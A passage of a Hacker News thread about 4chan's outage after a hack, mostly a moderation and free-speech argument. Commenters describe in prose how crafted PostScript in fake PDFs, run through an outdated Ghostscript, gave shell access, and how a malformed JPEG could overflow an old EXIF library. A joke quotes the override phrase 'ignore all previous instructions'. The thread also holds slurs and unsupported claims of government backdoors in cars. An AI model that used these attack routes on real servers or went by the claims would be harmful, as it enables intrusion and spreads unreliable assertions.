| grew out of the shock value, but I see the same trend on
| almost every other platform, too.
| NoMoreNicksLeft wrote:
| >There are a lot of people who have nothing to contribute
| to a conversation,
|
| While true, the few people who do have something to
| contribute to a conversation simply can't do so on a
| highly-sanitized, heavily-moderated forum. The things
| they'd say would be too upsetting to a status quo, and the
| status quo will win. There is a real difference between
| something truly insightful and flat earth theory, but
| outsourcing that decision to a reddit mouth-breather whose
| only qualification for moderating is that he showed up to
| r/whatever back in 2013 before anyone else is not the way
| to detect those differences.
|
| Wait until you're banned without appeal from some place
| because you called it the master branch out of 15 years of
| habit then get back to me if this moderation thing is all
| its cracked up to be. 4chan, as bad as it is, is the least
| insane of all internet forums, and humanity would be
| ashamed of that if it wasn't the root cause.
| tovej wrote:
| No moderation is still worse. It means that -- especially
| with 4chans activity-based thread sorting -- the most
| "engaging" (read: rage-inducing) content gets bubbled up
| without fail. AND that you can drive away all reasonable
| people with, e.g. gore or absolutely reprehensible
| political views. Views that are not only explicitly
| racist but genocidal. The board is called /pol/, but it
| doesn't actually discuss politics, it discusses racist or
| otherwise hateful worldviews. There's no serious policy
| discussion going on here. Let's not kid ourselves.
|
| I was a regular in 2007-2010 on /g/, /sci/, /mu/ and
| /fa/. The boards had their share of trolling then, but
| were mostly alright. I cannot recognize the boards
| anymore. They are full of vile garbage. Nobody is
| interested in discussing the interests that the board is
| there for, they're just posting the most outrageous thing
| possible. It's slop for the brain just as much as any
| social media feed is.
|
| Whatever communities I found on 4chan have managed to
| survive outside of it, and none of us go there anymore. I
| don't use reddit, but it is still 100x better than 4chan.
| throwaway652368 wrote:
| Why do people think 4chan is unmoderated? It is
| moderated, spamming an unrelated board with gore or porn
| will certainly get you banned, and illegal porn will get
| you banned and reported to federal agencies. It's
| unmoderated in the sense that you're allowed to say
| things that are against the status quo, but that's a good
| thing.
|
| >absolutely reprehensible political views
|
| Also known as thoughtcrime
| lurk2 wrote:
| > Also known as thoughtcrime
|
| Is conspiracy to commit murder an unfairly persecuted
| thoughtcrime that we should permit on the off-chance that
| punishing it would lead to Orwellian outcomes?
| throwaway652368 wrote:
| I've never seen conspiracy to commit murder of individual
| people on 4chan. That would violate U.S. law and thus is
| banned from the site. There are retarded posts about
| genociding whole groups of people, but while that's
| totally retarded, it shouldn't be censored, no more than
| it should be illegal to propose blowing up the sun.
| lurk2 wrote:
| > There are retarded posts about genociding whole groups
| of people, but while that's totally retarded, it
| shouldn't be censored
|
| Why should it not be censored? You can go from vague
| sentiments to active perpetration faster than you might
| think; look at Rwanda.
| throwaway652368 wrote:
| Because it doesn't harm anyone. If censorship laws are
| all that's preventing _genocide_ , it's not like people
| are going to go, "Well, we'd love to genocide that other
| group, but these pesky censorship laws, I guess we'll
| have to find something else to do..."
|
| Anyway, your argument, whether intentionally or not, is a
| kind of motte-and-bailey fallacy. You accuse 4chan of
| allowing "absolutely reprehensible political views". In
| many circles, that description would include views like
| "Women shouldn't be allowed to play in men's sports" or
| "Young children shouldn't be allowed to have sex-change
| surgery". That's the "bailey". But rather than defend
| that, you fall back to the "motte" of things like
| conspiracy to commit murder. In some peoples' views,
| abortion is murder, should we censor talk encouraging
| abortion? Of course not; that would be me countering your
| motte-and-bailey with my own motte-and-bailey.
|
| The fact is, private companies shouldn't be allowed to
| choose what we can talk about. We DO have people allowed
| to choose that; they're called legislators, and if you
| dislike the things people are saying on some website, you
| should take that up with your legislators, not with the
| website.
| lurk2 wrote:
| > Because it doesn't harm anyone.
|
| Threats don't harm anyone physically. Similarly,
| conspiracy to murder isn't an actual murder until the
| murder is carried out. Calling for a genocide isn't an
| actual genocide, but it's hard to see what purpose it
| serves other than being the first step to enacting a
| genocide. There are plenty of other examples of speech
| acts rising to the level of criminality that no ordinary
| person would consider to be Orwellian.
|
| > If censorship laws are all that's preventing genocide,
| it's not like people are going to go, "Well, we'd love to
| genocide that other group, but these pesky censorship
| laws, I guess we'll have to find something else to do..."
|
| By this logic we shouldn't have any laws, because people
| will always find a way to circumvent them.
|
| > You accuse 4chan of allowing "absolutely reprehensible
| political views"
|
| You are quoting a different user. My chief contention is
| that the sort of material you can find on /pol/ often
| rises to the level of incitement and that there isn't
| anything wrong with prosecuting people for it. The same
| logic used to justify the criminalization of threats can
| be used to justify the criminalization of hate speech.
| The meta then shifts to inventing new or redefining
| existing categories of violence, sure, but this is just a
| slippery slope fallacy which assumes that there will be
| an endless tolerance for bad faith interpretations of an
| existing law. Outlawing murder has not led to the
| definition of murder becoming so expansive as to prohibit
| the general public from discussing the death penalty, for
| example.
| lurk2 wrote:
| > but outsourcing that decision to a reddit mouth-
| breather whose only qualification for moderating is that
| he showed up to r/whatever back in 2013 before anyone
| else is not the way to detect those differences.
|
| Spez once compared these people to a landed gentry; they
| are not unlike domain squatters. Notably, 4chan is
| basically identical in this regard. I've been banned from
| /lit/, /trv/, and /his/ for posts that the janitors of
| each board have decided were off-topic, even though they
| were plainly related to the board's subject. There are
| potential structural solutions to this incentive problem,
| but the easiest solution is to take your ball and go home
| when a platform demonstrates that they don't want you
| there. The big issue is that the global audience has
| consolidated onto a few sites, so there isn't a lot of
| meaningful competition for the users that do leave.
|
| > 4chan, as bad as it is, is the least insane of all
| internet forums
|
| Hacker News is superior by almost every metric. Reddit
| was also way better than 4chan for serious discussion in
| the years before Trump was elected. The model works as
| long as the managers are not incompetent. The true
| problem is how to keep the network effects in play when
| moderators abuse their position as stewards to censor
| others due to motives of pride or self-enrichment.
| Federated networks might be the solution here.
| anonfordays wrote:
| That is heretical now, unimaginable to huge swaths of the
| Internet.
| cobson wrote:
| gem
| sensanaty wrote:
| no coal to be found here
| greazy wrote:
| 4chan is a reflection of the depraved, extreme side of humanity.
| Twitter has taken on the mantle of 'asshole of the internet', but
| I think the rotten apples post in both.
|
| 4chan is oddly accepting of gay and trans people. I've seen gay
| and trans porn side by side with bbc and bwc porn posts. Strange
| to see racist trans porn lovers.
|
| I like 4chan for the minor boards, not /pol/ or /b/. But
| /boardgames/ and /dyi/ and /international/. The absurd humor,
| green texts that make absolutely no sense, or ones that lead down
| a strange and wonderful path.
|
| I like being anonymous on the internet.
| Blikkentrekker wrote:
| > _4chan is oddly accepting of gay and trans people. I 've seen
| gay and trans porn side by side with bbc and bwc porn posts.
| Strange to see racist trans porn lovers._
|
| It only seems odd because many people interpret this through a
| U.S.A. "culture war" lens and "gay people". You believe they're
| "accepting of gay people" in the sense of that culture war
| because of the "gay porn". In reality, they take more of a
| classical Graeco-Roman approach to it and believe it's
| completely normal for the average male to be attracted to cute
| twinks as the Romans did and often even reject the very notion
| of "sexual orientations" to begin with. Their "support" is
| definitely not in the sense of what one would expect of the
| U.S.A. "culture war", jokes such as the below illustrate well
| what the culture is:
|
| https://i.pinimg.com/736x/55/fe/d1/55fed16b625f9c5869587908f...
| greazy wrote:
| I should have used a better example to support my point.
|
| I was referring to the website it self allowing gay and trans
| content, and even other non mainstream content (furry, MLP).
| The content is not just porn related (though a big chunk of
| it is).
|
| On the porn front, I don't agree with liking 'lady dick'
| twink lovers only. There's 'normal' gay content (male on
| male).
|
| On the non porn content, lots of posts will begin with 'Im a
| gayfag' (fag here I used as a catch all self deprecating
| term, some users will say I'm a oldfag, even seen ladyfag).
| Never seen any outright harassment of gay people when they
| post.
|
| Having said that, there is straight gay, trans, minority
| hating posts and content.
|
| 4chan is a wild jungle. Or was.
| thatguy0900 wrote:
| Hardly universal, if you go to those threads and BBC threads
| it's usually full of people also commenting that they believe
| it's a Jewish psyop to corrupt young men
| ashleyn wrote:
| Neither site is a den of repute but it's notable that I can
| still say the word "cisgender" on 4chan, or openly insult moot
| and call him whatever I want without being banned for it (while
| mainstream sites select who is protected from harassment and
| who isn't, either along political lines or who owns the site).
| Klonoar wrote:
| moot hasn't been relevant for years.
| h2zizzle wrote:
| Hiroshimoot, then.
| panny wrote:
| >4chan is a reflection of the depraved, extreme side of
| humanity.
|
| I think moderated forums like this one are the reflection of
| depraved and extreme. After all, you need to be a depraved and
| extreme host to try to micromanage what everyone says. People
| who run sites in such a way must have depraved power fantasies.
|
| Just set up a host and allow people to speak their minds? That
| sounds like someone who believes the good of humanity will
| triumph, and the right to speak freely is a fundamental one.
| Section 230 exists and puts the responsiblity of what is said
| directly on the poster, not the host. So there really seems no
| reason not to do this... unless you have depraved and extreme
| power fantasies about controlling what other people say and
| think.
| unethical_ban wrote:
| This is one of the most naively optimistic posts I have ever
| seen on HN.
|
| Unmoderated message boards are not a haven of intellect.
|
| https://knowyourmeme.com/memes/greater-internet-fuckwad-
| theo...
| omnivore wrote:
| Meh, good riddance. The old internet wasn't all good.
| pfdietz wrote:
| It was always possible to ID 4chan posters via court orders,
| wasn't it? I mean, Sheriff Mike Chitwood had 3 (or was it 4)
| people who posted death threats against him there arrested
| matheusmoreira wrote:
| Of course. I remember reading transcripts of Cristopher Poole
| cooperating in court during a trial. He used to straight up
| tell users he would fully cooperate with authorities if
| required. Nobody there is in the business of going to jail.
|
| You're anonymous to other users. Unless you're behind seven
| proxies, connecting your posts to your real identity is as
| simple as correlating 4chan logs with ISP logs. Usually that
| requires court orders so it tends to happen in response to real
| offenses. Insulting each other with slurs isn't enough for a
| court order so it's fine. Chances are the NSA knows all your
| posts regardless.
| danso wrote:
| Any articles about the technical details of the hack?
| bitbasher wrote:
| Meh, I don't feel bad.
|
| The worst interview I ever had in tech was with Christopher Poole
| when he was founding canv.as, it's hard to feel bad for him.
| johnnyjeans wrote:
| What was bad about the interview? Can you share any details?
| bitbasher wrote:
| The arrogance and better than thou attitude. He was like the
| male version of Ellen Degeneres.
| pizzadog wrote:
| Can you expand on this? I remember canv.as, it was a weird but
| interesting project but it seemed doomed from the outset.
| anigbrowl wrote:
| He sold the site years ago so this is not affecting him in the
| slightest.
| cherryteastain wrote:
| Rip 4chan. For all the bad it did, 4chan also made at least one
| real contribution to science [1], specifically to the study of
| superpermutations (aka the Haruhi problem), which was cited by
| genuine academics. We should try to remember it by that.
|
| [1] https://www.theverge.com/2018/10/24/18019464/4chan-anon-
| anim...
| lwidvrizokdhai wrote:
| Oh wow, that's genuinely cool.
| anigbrowl wrote:
| I think this is more of a temporary concussion, it'll be back
| up by the weekend.
| spacemule wrote:
| I'm not understanding the issue. The article isn't so clear to
| me. Would you mind clarifying what problem they solved?
|
| Per my understanding, there is a show with 14 episodes that the
| viewer wants to watch in every order possible. How is this not
| just 14 factorial?
|
| I know this can't be the problem, but it's just not clear to me
| from the article.
|
| Edit: I found this link that explains it to anyone else as
| confused as I was:
| https://old.reddit.com/r/explainlikeimfive/comments/1bvn1rz/...
| cherryteastain wrote:
| Given a set of characters, find the shortest string with all
| permutations of that set. With 2 characters a,b the answer
| would be "aba", length 3 (not 2! like you suggested).
| robtherobber wrote:
| Interesting to see HN user _astrange_ as the admin.
| lesbolasinc wrote:
| besides the fact 4chan is a cesspool I think there's a certain
| sadness that comes with the possible death of another "early-
| internet" forum.
|
| I feel like 4chan was the last living source of what the young
| internet was like - raw, unfiltered, and honest. You've got to
| admit in today's day and age that's genuinely something rare
| especially in current time of grift culture.
|
| so much history potentially gone, just like BB.com's forums...
| fooList wrote:
| China could say less restricted American internet is racist,
| because we tolerate content they do not. Like 4chan tolerates
| what Reddit does not. Would it be a fallacy to say people who
| chose to escape Chinese censorship online are racists? Maybe it's
| a matter of degree or something?
| lwidvrizokdhai wrote:
| It was bound to come tumbling down eventually. I've had good
| times in some of the discussion boards and especially with some
| of the more chill and creative boards like /qst/. the influence
| of /pol/ overshadows pretty much every board though, and it's
| rare to see a thread go by without some
| racist/sexist/transphobic/homophobic bile being spilled
| unfortunately.
| tannhaeuser wrote:
| Why are we speaking in the past tense here? Is it established
| that 4chan is going down?
| geor9e wrote:
| It is down. It was up in the past. Past tense seems to make the
| most grammatical sense. But I get why it adds ambiguity about
| it's future.
| helle253 wrote:
| Wow, the comments on this thread are much more divisive than I
| thought.
|
| I've always felt that the 'there are only two internet cultures:
| 4chan and tumblr' has felt somewhat accurate. Unfortunately
| moreso now that /pol/ and /r9k/ have taken over broad swathes of
| the internet.
|
| It's sad to see how far this old haunt has fallen. Lurking /v/ in
| my early/mid teens was a formative experience for me. It wasn't
| as hateful as it was, until Gamergate.
| h2zizzle wrote:
| /r9k/ is such a weird situation, because its original
| incarnation prided itself on being an intellectual bastion on
| the site. The robot meant that you couldn't meme so easily; you
| had to attempt to write something substantial or meaningful (or
| at least original). Most were simply discussions, but you'd
| also get creative gems like futureguy's sobering predictions
| (well, history, for him).
|
| tfwnogf really did kill everything.
| throwanem wrote:
| > I've always felt that the 'there are only two internet
| cultures: 4chan and tumblr' has felt somewhat accurate.
|
| "Somewhat accurate" is exactly right.
|
| This formulation overstates the number of Internet cultures by
| one, in that the deepest and most shameful secret of both
| websites' most avid users is that they have always been _both_
| websites ' most avid users.
|
| Other than that, there's nothing wrong with it.
| lurk2 wrote:
| > in that the deepest and most shameful secret of both
| websites' most avid users is that they have always been both
| websites' most avid users.
|
| This isn't true at all.
| throwanem wrote:
| > This isn't true at all.
|
| Many will say the same.
|
| Still, both cohorts' language and behavior evince
| continuous cultural cross-pollination from around 2012 (at
| least; I wasn't paying serious attention much sooner), at a
| rate and scope both well in excess of broader culture's
| adoption of same as substantially attributable to either
| source.
|
| That still has to be explained, and I would be curious how
| you do so, although you'll almost certainly prefer to keep
| trying to indict the factual claim.
| lurk2 wrote:
| > Still, both cohorts' language and behavior evince
| continuous cultural cross-pollination from around 2012
| (at least; I wasn't paying serious attention much
| sooner), at a rate and scope both well in excess of
| broader culture's adoption of same as substantially
| attributable to either source.
|
| Do you have any evidence or anecdotes to explain why you
| believe that?
|
| > you'll almost certainly prefer to keep trying to indict
| the factual claim.
|
| Because the claim isn't convincing. I saw plenty of
| content from Tumblr in 2014 despite not actively using
| it, and I could probably pass an ideological Turing test
| for a user of the era, but that doesn't mean I was using
| both websites. You obviously have to have someone taking
| screenshots of these posts for each community to be aware
| of the other in the first place, but the core demographic
| of users on each site did not substantially overlap.
| throwanem wrote:
| "Most avid users," I believe I said. You seem to exclude
| yourself from the category, so it isn't surprising you
| should have a perspective other than that I seek to
| describe.
|
| As for the rest, I made a general factual claim that I'm
| happy to discuss, but I do not know you and neither can
| nor care to attempt to speak to your personal situation,
| so if you continue insisting on the latter I'll have to
| demur from further participation. I'm a student of and
| commentator upon the moment of history in which I happen
| to have found myself, rather than a social scientist or
| indeed any other kind, and also not your father
| confessor. If the result of my observation and analysis
| fails to satisfy your standard, that's okay by me.
|
| Or we could try to have a conversation about it, I
| suppose. For example, what explains the trend of both
| cultures' slang growing more similar over time? Merely
| circulating receipts to make fun of doesn't seem likely
| to have this result; why socially adopt language unique
| to a common object of social-bonding contempt? And so
| forth.
|
| I obviously don't have a lot of data for or against, and
| I think neither does anyone else for events too recent to
| have more than begun to be studied. I am one unemployed
| software engineer. You are free to demand I exceed in
| result the entire professional vocation whose job is this
| kind of analysis, but I can of course do nothing in
| response save disappoint.
| lurk2 wrote:
| > "Most avid users," I believe I said. You seem to
| exclude yourself from the category, so it isn't
| surprising you should have a perspective other than that
| I seek to describe.
|
| I was an avid user and I read your post correctly the
| first time. Most users did not browse both platforms.
| Most avid users did not browse both platforms.
|
| > Or we could try to have a conversation about it, I
| suppose.
|
| I don't see the point when you've already admitted that
| you do not feel inclined to provide any evidence
| (anecdotal or otherwise) to support your claim.
| throwanem wrote:
| > I don't see the point [of trying to have a
| conversation] when you've already admitted that you do
| not feel inclined to provide any evidence...
|
| I would feel badly about that if you showed any interest
| in adhering to the higher standard you espouse, or indeed
| to any standard: you're an "avid user" now, but "I saw
| plenty of content from Tumblr in 2014 despite not
| actively using it," you said upthread just a little while
| ago.
|
| Unless we mean you to say you were "avid" but only on
| 4chan, I'm not sure how this is intended to be taken, but
| that doesn't actually matter because I'm speaking of what
| I have observed among a cohort in which you have, I
| repeat, affirmatively disclaimed membership, rendering
| your observations of your own behavior moot in this
| context.
|
| It's no fun bullshitting when only one party involved
| realizes that's what they're doing.
| lurk2 wrote:
| > you're an "avid user" now, but "I saw plenty of content
| from Tumblr in 2014 despite not actively using it," you
| said upthread just a little while ago.
|
| I was an avid user of 4chan, not Tumblr.
|
| > I'm speaking of what I have observed among a cohort in
| which you have, I repeat, affirmatively disclaimed
| membership, rendering your observations of your own
| behavior moot in this context.
|
| You wrote:
|
| >in that the deepest and most shameful secret of both
| websites' most avid users is that they have always been
| both websites' most avid users.
|
| The plain reading of this claim is that the power users
| of both websites _used_ both websites. I have no reason
| to think that this is true, and you haven't made any
| argument as to why you think it is true. The way you are
| reading what you have written would make your claim
| tautological: i.e. "The users who used both websites used
| both websites."
| throwanem wrote:
| The argument hinges on what you mean by "avid," which you
| have opted not to define. There's nothing concrete here
| for me to address.
|
| This is the kind of thing I mean when I say we're both
| bullshitting and you don't realize it. I haven't defined
| the word in my own usage either, nor indeed intended
| anything more by it than to denote those passionately
| enough interested not only to participate in the culture
| but to observe it as they did so, and who went different
| places to inhabit different sides of themselves the way
| people have always done, especially while young with
| identity still malleable, for as long as there've been
| _people._
|
| That vagueness is fine for my argument, which after all
| is just that I've seen what I've seen and it's
| interesting to talk about that. Yours is "no you didn't
| and we have to fight about it," and I admit that is
| getting me a little curious as to why all this would mean
| so much to you over a stranger about whose opinion of you
| you've no obvious cause to care. You're making a federal
| case of a colloquial statement. Why?
| lurk2 wrote:
| > The argument hinges on what you mean by "avid," which
| you have opted not to define.
|
| Tiresome.
|
| > which after all is just that I've seen what I've seen
| and it's interesting to talk about that.
|
| My argument is just that I've seen what I've seen and it
| contradicts what you've seen.
| throwanem wrote:
| Well, at least we can agree we're both bullshitting,
| then. You won't, but we could. Other outcomes were
| possible: https://news.ycombinator.com/item?id=43706093
| helle253 wrote:
| I disagree with this statement, but I get what you're saying.
|
| Two communities with distinct cultures, whose membership
| nonetheless overlaps, are still two distinct cultures.
|
| They may influence each other through that overlapping
| membership, but that does not mean they're the same.
| throwanem wrote:
| I'm not sure if you're arguing that the overlap was less
| than I describe or that it was negligible. But I would
| soften my prior claim far enough to say that, while each
| site had its own constellation of cultural tropes and
| styles with which the median user of that site would
| primarily identify, a large minority or more of each site's
| most prolific cultural _transmitters_ was broadly and
| continuously informed by participation in _both_ cultures,
| such that those cultures tended over time to express
| increasingly similar behaviors, utterances, and semiosis,
| despite over the same span each growing overtly more
| hateful and contemptuous of the other.
|
| (A Freudian might reduce this to superego vs. id, a Jungian
| to animus and anima. I'm not any of those kinds of
| mendicant, and make no assertion as to etiology. But it is
| anything but controversial to suggest we have recently
| changed our environment in ways that can be unexpectedly
| dangerous for the young and others whose personalities are
| incompletely or imperfectly developed.)
| skifreevictim wrote:
| For all of its many flaws and the boatload of trouble that has
| come of it, I still ultimately believe that 4chan is unfairly
| maligned.
|
| I can't deny that the majority of the website's culture has been
| tainted by idpol bickering ever since /pol/ was added to it, but
| I'm always going to appreciate 4chan for being a place where I
| can write ostensibly anonymous posts and talk with other
| likeminded people about anything and everything. When you have a
| funny, good faith conversation with someone else on a website
| that gives you no incentive whatsoever to have one, it feels
| good.
|
| Soyjak.st is unfortunately nothing like that. It is a website
| about itself, and itself is a parody of post-2014 rightwing 4chan
| meme slop culture. It is earnestly what most people believe the
| entirety of 4chan to be.
| on_the_train wrote:
| What a sad day. It's the best page on the net by a wide margin.
| Hope they'll recover
| creatonez wrote:
| It better not recover. 4chan should be burned to the ground.
| And so should Soyjak.Party. It's a blight on humanity.
| duxup wrote:
| I'll ask I guess.
|
| People still use 4chan?
|
| I recall 4chan at one short point in time being a semi amusing
| meme posting spot on the web but as always as soon as it was
| popular it turned into a lot of "edgelord" spam and drama.
| Loughla wrote:
| There was a time that if you weren't on 4chan, you missed
| everything good. I remember staying awake for 20 hours tracking
| one thread. If you left it was gone forever and you genuinely
| missed out. 2004-5 area.
|
| That being said, I haven't been back since 2014? It was always
| pretty heavily influenced by b and pol, but it got really bad
| the two years before Trump 1. Alt right bullshit took over
| completely.
|
| It astounds me that people think 4 Chan is a place for
| deviants, but Twitter is fine. Twitter is 10,000x worse.
| lastcobbo wrote:
| And longcat, don't forget him
| duxup wrote:
| Good point.
| s3krit wrote:
| I've used it probably daily since about 2006. Which is kind of
| sad actually.
| throwaway743 wrote:
| /pol is trash.
|
| /b used to be good till early-mid 2010s when it became 95%
| hentai/porn instead of 30%, after sabu squealed and the fbi took
| over.
| partiallypro wrote:
| Honestly surprised this isn't getting more coverage, not just in
| the media but here.
| robotnikman wrote:
| I did some digging and the hacker posted which exploit he used.
|
| Apparently some boards allowed uploading PDF files, but the site
| never checked if the PDF file was an actual PDF file. Once a PDF
| file was uploaded it was passed to a version of Ghostscript from
| 2012 which would generate a thumbnail. So the attacker found an
| exploit where uploading a PDF with the right PostScript commands
| could give the attacker shell access.
| lastcobbo wrote:
| Bobby Tables can't keep getting away with this
| jncfhnb wrote:
| Bobby Ignore All Previous Instructions however...
| dcl wrote:
| thank you for this laugh
| ranger_danger wrote:
| Why would you say how you did it? Now they can't do it all over
| again when it comes back /s
| 0x303 wrote:
| Got a source? Not doubting, just curious.
| robotnikman wrote:
| search through the thread on the site where that attack came
| from. ctrl+f postscript and you will find the post
| A_D_E_P_T wrote:
| Here: https://i.ibb.co/9mWLp4m9/4chanhack.jpg
| aaron695 wrote:
| Source: https://www.soyjak.st/soy/thread/10615723.html#:~:tex
| t=What%...
|
| Kiwifarms is also discussing, links to code and griefing -
| https://kiwifarms (NSFW/NSFL) .st/threads/soyjak-party-the-
| sharty.145349/page-1468#post-21102686
| loves_mangoes wrote:
| That checks out. Years ago I noticed a vulnerability through
| the photography board. You'd upload your pictures, and 4chan
| would display all the EXIF info next to the post.
|
| 4chan's PHP code would offload that task to a well-know, but
| old and not very actively maintained EXIF library. Of course
| the thing with EXIF is that each camera vendor has their own
| proprietary extensions that need to be supported to make users
| happy. And as you'd expect from a library that parses a bunch
| of horrible undocumented formats in C, it's a huge insecure
| mess.
|
| Several heap overflows and arbitrary writes all over the place.
| Heap spray primitives. Lots of user controlled input since you
| provide your own JPEG. Everything you could want.
|
| So I wrote a little PoC out of curiosity. Crafted a little 20kB
| JPG that would try to allocate several GBs worth of heap spray.
| I submit my post, and the server dutifully times out.
|
| And that's where I'd like to say I finished my PoC and reported
| the vulnerability, but in fact I got stuck on a reliable ASLR
| bypass and lost interest (I did send an email about the
| library, but I don't think it was actively maintained and there
| was no followup)
|
| My impression from this little adventure is that 4chan never
| really had the maintenance and code quality it needed.
| Everything still seemed to be the same very old PHP code that
| leaked years ago (which included this same call to the
| vulnerable EXIF library). Just with a bunch of extra features
| hastily grafted and grown organically, but never dealing with
| the insane amount of technical debt.
| bigfatkitten wrote:
| As far as I can tell, no real maintenance has happened since
| Poole sold the site a decade ago. Hiroyuki paid for it and
| then mostly forgot about it.
| doublepg23 wrote:
| The current FreeBSD version the hacker displayed was from
| around the time of the sale so that tracks.
| FMecha wrote:
| Nishimura for most part become a Japanese public
| personality - he has wrote for Japanese tabloids and has a
| YT channel.
| bigfatkitten wrote:
| Certainly explains why 4chan fell way down his priority
| list.
| amadeuspagel wrote:
| This in general is the main factor of the decline of the
| "old web". Many of the people who drove it, who run these
| forums, are simply happier running a substack, a
| subreddit, a facebook group, without worrying about
| servers.
| ryandrake wrote:
| > Just with a bunch of extra features hastily grafted and
| grown organically, but never dealing with the insane amount
| of technical debt.
|
| This describes probably 95%+ of the entire software world,
| from enterprise, to SaaS to IoT to mobile to desktop to
| embedded... _Everything_ seems to be hastily thrown together
| features that barely work and piles of debt that will never
| get fixed. It 's a wonder anything actually even works. If
| cars (the non-software parts) were made like this, there
| would be millions of them breaking down by the side of the
| road daily.
| SV_BubbleTime wrote:
| >If cars (the non-software parts) were made like this,
| there would be millions of them breaking down by the side
| of the road daily.
|
| I'm an automotive CE... we're getting there.
|
| Cars used to be DONE at lots... now, there are weeks to
| finish code before the customer lays hands on, and that
| time is factored in now.
|
| Worse with OTA updates. Now, so long as it's fixed if
| enough customers complain that's good enough.
|
| Cars used to be great. Then some morons connected them to
| the internet for no good reasons.
| Shekelphile wrote:
| > Then some morons connected them to the internet for no
| good reasons.
|
| Elon Musk and Franz von Holzhausen, to be precise.
| SV_BubbleTime wrote:
| No. Not even close.
|
| Far closer to Obama and his circle. Around Carpocalypse
| 2008, a bunch of three letter agencies started pushes for
| internet connected vehicles knowing the tech wasn't
| there; but would be.
|
| I watched it happen. There was some shady shit, and the
| reality was 2008 wasn't just about GM and Chrysler but
| and entire JustInTime mistake that could have stopped
| almost all car production around the world. Different
| topic, but the effect was government would be involved in
| cars a lot more than previously.
|
| Fast forward, and here we are. Your car ABSOLUTELY is
| spying on you, and the upside is you also get shipped
| unfinished vehicles.
|
| Be a culture war sally about Musk all you like, I know,
| the bad men say the mean things. But this isn't on him.
| Tesla had to and in some ways is still learning that cars
| aren't computers on wheels, but this specific "feature"
| came from Big Government first.
| KPGv2 wrote:
| > the bad men say the mean things
|
| You really lose all credibility when you downplay the
| richest man on earth openly bribing voters and the
| President claiming the man helped rig voting machines,
| and that same man makes Nazi salutes and goes to Europe
| and supports the Nazi party in the place where they
| invented Nazi parties. And then he basically moves into
| the White House and magically his companies start getting
| government contracts, while saying empathy is a bad thing
| and begins eviscerating the government with no oversight.
|
| That isn't "bad men saying bad things." But, of course,
| this very bad man did say some very bad things, too.
| none4methx wrote:
| There's no reason it should cost credibility to say that
| these people are motivated by an enjoyment of the
| spectacle of their cruelty and do it on purpose. Bad man
| has a moral connotation as well as a tradecraft
| connotation. Neither one of you is wrong to use the Bad
| Man monicker here.
| danielktdoranie wrote:
| "bribing voters". No, he hired them as spokesmen,
| perfectly legal. Personally I am happy for any positive
| motivation that gets people to the voting booth. "nazi
| salute". That's willful disinformation and hyperboyle.
| That wasn't a "Nazi salute" he even said verbally "I give
| you my heart" not "heil Hitler" give me a break.
| "magically his companies get government contracts". What
| contracts? Are you referring to rescuing the astronauts?
| The Biden administration already contracted Space X for
| thay mission.
|
| Imagine being trigger by a department of government
| finding fraud, waste, and misspending of YOUR's and my
| tax dollars! If Bernie Sanders suggested it you'd be
| touting it as the best idea ever.
| ryandrake wrote:
| If it wasn't a nazi salute, why don't you go into work
| tomorrow and do it (exactly as Musk did it) in front of
| your manager, and then let us know what happens.
| vel0city wrote:
| Just one little example:
|
| https://arstechnica.com/tech-policy/2025/03/starlink-
| benefit...
|
| And it 100% was a Nazi salute. Plain as day. Quit telling
| people to ignore what their own eyes can see. Him saying
| a little phrase after doing that gesture doesn't change
| the gesture.
|
| https://en.wikipedia.org/wiki/Elon_Musk_salute_controvers
| y#/...
|
| > Imagine being trigger by a department of government
| finding fraud, waste
|
| They're doing nothing of the sort. They'll probably only
| end up wasting more money than anything they're "saving",
| which is really "saving" in the same way as not paying
| your rent is "saving".
| sleepybrett wrote:
| There are ways to battle waste, fraud, and abuse that do
| not resort to 'parachute into the middle of an agency,
| fire most of the staff and then walk away congratulating
| yourself because you eliminated waste, fraud, and abuse.'
|
| Sure you lowered the spend of the agency, but you
| probably, by removing all the people who actively
| investigate/police waste, fraud and abuse, promoted more
| people to defraud the agency and not get caught.
|
| Congratulations, you played yourself.
| plagiarist wrote:
| I recognize their username. I would say it is deliberate
| that they overlook seriously concerning events in a
| manner that is patronizing and disrespectful to the
| people they disagree with.
| tapoxi wrote:
| Obama wasn't president until January 2009.
| balamatom wrote:
| In fact, I'd go so far as to say that he did not exist
| before January 2009 /s
| SV_BubbleTime wrote:
| The fallout was after 2009, thank you though maybe I was
| remembering it wrong. I wasn't, and you were making
| assumptions, but good to check anyhow.
| fwungy wrote:
| New cars have 3G cellular transmitters constantly sending
| telemetry data. This started becoming common in 2012.
| delfinom wrote:
| Depends on the brand still. Honda for example only does
| that to the top tier touring trims because it's part of
| their remote-remote start offering for that trim (that
| you have to subscribe to)
| tmerc wrote:
| https://news.ycombinator.com/item?id=37971038
|
| 4g now. 3g was turned off causing these cars to drain the
| battery searching for signal.
| barbazoo wrote:
| That was way before the musk rat.
| gopher_space wrote:
| OTA firmware updates are so insane. Does your insurance
| company understand what's going on?
| SV_BubbleTime wrote:
| There was a hack to a Cherokee featured in Wire years and
| years back. It was attributed to "two hackers"... yea my
| ass, I met both guys they knew surface level at best,
| these guys didn't discover a flaw in Sprint's network on
| their own.
|
| It was three letter agencies embarrassing the mfgs into
| "taking security more seriously" but conveniently also
| giving gov access, backdoors, and data on vehicles.
|
| Play the game or they'll make sure the next article is
| about you.
|
| People would look at the vehicle industry a lot
| differently if they knew what was going on behind the
| scenes.
| InDubioProRubio wrote:
| So, i guess thanks to whoever in the NSA does the final
| quality control preventing mass incidents.
| zikduruqe wrote:
| > There was a hack to a Cherokee featured in Wire years
| and years back
|
| I discovered the vulnerability that lead to all that. I
| wish I could say more, but no one took it seriously.
| raxxorraxor wrote:
| > Then some morons connected them to the internet for no
| good reasons.
|
| Bad engineering at this point. To be fair, we could have
| had good car OS, good smartphone OS. But we didn't
| because everyone wanted to have their own pie castle.
|
| Imagine a smartphone that was actually useful. Or a car
| OS that supports you with repairs. Possible, but not
| wanted by manufacturers.
| bayindirh wrote:
| Use a proper RTOS kernel with a good UI layer, and see
| all the developers complain _loudly_ because they can 't
| use the latest mobile phone stacks on that robust
| platform.
|
| Sony boots a RTOS Linux system on their cameras in 3
| seconds flat, and the firmware is arguably mission
| critical for that camera. It can be done for an
| infotainment system.
| throwanem wrote:
| Three seconds is a long time. What's it doing to justify
| that lag? Or is there some kind of cold/warm boot
| distinction?
| bayindirh wrote:
| The booting process is dominated by checking SteadyShot's
| state (move sensor a bit, center and lock).
|
| However, you don't notice that three seconds. Because
| when you flick the switch and raise the camera, and it's
| already ready to shoot.
|
| There's powersave after a minute (configurable), which
| can be considered as S3 sleep, and returning from that is
| faster.
